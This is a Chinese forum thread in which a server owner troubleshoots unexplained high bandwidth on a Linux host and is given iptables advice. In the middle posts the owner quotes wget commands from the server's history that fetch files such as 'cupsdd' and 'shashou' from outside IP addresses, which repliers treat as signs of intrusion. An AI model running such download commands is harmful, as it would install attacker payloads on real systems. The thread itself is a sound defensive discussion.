linux系统下异常跑高带宽

zongg

回复 10# hdreamfly


    那你抓紧查一下，也没准有人搞你们呢。 看看有没有异常ip 查的，用iptables 干掉。

hdreamfly

wget http://61.164.145.100:81/.wwas.cap
,这句是什么意思，这是在记录里面查讯到的，回复 9# zongg


   

zongg

回复 12# hdreamfly


    这句话的意思是下载你机器上的.wwas.cap 这个文件。你确定这个文件是你们的吗？如果不是，可能被搞了。

hdreamfly

iptables这个怎么弄？现在服务器是在托管那边，那边人首先技术又不是很好的，而且服务态度也差...,这个流量跑高的问题已经残忍的折腾了我半个月了 回复 11# zongg


   

zongg

回复 14# hdreamfly

1. [root@web-nginx04 ~]# cat /etc/sysconfig/iptables
   
2. # Manual customization of this file is not recommended.
   
3. *filter
   
4. :INPUT ACCEPT [0:0]
   
5. :FORWARD ACCEPT [0:0]
   
6. :OUTPUT ACCEPT [0:0]
   
7. -A INPUT -i lo -j ACCEPT
   
8. -A INPUT -s 127.0.0.1 -i lo -j ACCEPT
   
9. -A INPUT -i eth1 -p tcp --dport 22 -j ACCEPT
   
10. -A INPUT -s xx.xx.xx.xx -j DROP
    
11. COMMIT

复制代码

根据你自己的需要修改一下。xx.xx.xx.xx 是写上那个异常的ip
然后service iptables start

chenyx

那个61的ip是你的ip还是外部的?如果是外部的,很可能你已经被黑了

hdreamfly

不是我的，记录里面有好几个： wget http://115.239.225.232:8080/cupsdd
，wget http://61.164.145.100:81/shashou
， wget -c http://117.21.191.197:9999/gettexs
，里面还有这一句话： while [ "1" ]; do eth=$1; RXpre=$(cat /proc/net/dev | grep $eth | tr : "                                                                                                                            " | awk '{print $2}'); TXpre=$(cat /proc/net/dev | grep $eth | tr : " " | awk '{                                                                                                                           print $10}'); sleep 1; RXnext=$(cat /proc/net/dev | grep $eth | tr : " " | awk '                                                                                                                           {print $2}'); TXnext=$(cat /proc/net/dev | grep $eth | tr : " " | awk '{print $1                                                                                                                           0}'); clear; echo  -e  "\t RX `date +%k:%M:%S` TX"; RX=$((${RXnext}-${RXpre}));                                                                                                                            TX=$((${TXnext}-${TXpre})); if [[ $RX -lt 1024 ]];then RX="${RX}B/s"; elif [[ $R                                                                                                                           X -gt 1048576 ]];then RX=$(echo $RX | awk '{print $1/1048576 "MB/s"}'); else RX=                                                                                                                           $(echo $RX | awk '{print $1/1024 "KB/s"}'); fi; if [[ $TX -lt 1024 ]];then TX="$                                                                                                                           {TX}B/s"; elif [[ $TX -gt 1048576 ]];then TX=$(echo $TX | awk '{print $1/1048576                                                                                                                            "MB/s"}')
  这是在执行什么东东回复 16# chenyx


   

chenyx

这个貌似是计算流量的.

hdreamfly

额  服务器是过一会跑下流量，唉人都快崩溃了,也找不出问题回复 18# chenyx


   

hdreamfly

还有麻烦你看一下这个是什么东东： ，百度上我查了一下都没有,这个我也是刚发现，他的后缀名称是以jpg的存在的，我换成php的后缀，里面就是这些东东回复 18# chenyx